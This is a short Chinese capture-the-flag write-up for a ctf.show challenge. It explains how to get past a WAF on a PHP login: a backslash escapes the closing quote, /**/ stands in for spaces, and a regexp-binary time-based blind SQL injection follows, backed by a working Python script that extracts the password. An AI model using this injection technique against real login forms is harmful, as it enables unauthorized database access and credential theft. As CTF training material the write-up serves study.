36D杯的其他部分题目:戳我
Q:为啥这题没和它们放一起?A:后做的,我懒,而且忘记了。
源代码有以下两行注释:
<!-- if (!preg_match('/admin/', $uname)) die; --> <!-- select * from 36d_user where username='$uname' and password='$passwd'; -->
用户名必须包含admin,其后如果输入'
、substr
、ascii
、mid
、||
、空格
、-
、等号
,>
,<
均会触发WAF。
使用\
注释掉'$uname'
尾部的单引号,后面跟上or+注入语句。使用regexp进行时间盲注(为真页面无变化),空格用/**/
代替,还需要注意mysql的正则不区分大小写,如果要区分的话,要在regexp后加 binary关键字。
import requests import string import time url = r"http://ed977ea3-7f14-4a79-b591-1e42372a53cd.chall.ctf.show/" dic = string.ascii_letters+string.digits data = { 'username':'admin\\', 'password':'' } flag = "" for i in range(30): for j in dic: password = 'or/**/if((password/**/regexp/**/binary/**/"^'+flag+j+'"),sleep(4),1)#' # print(password) data['password']=password startTime=time.time() r = requests.post(url,data=data) if(time.time()-startTime) >= 3: flag += j print(flag) break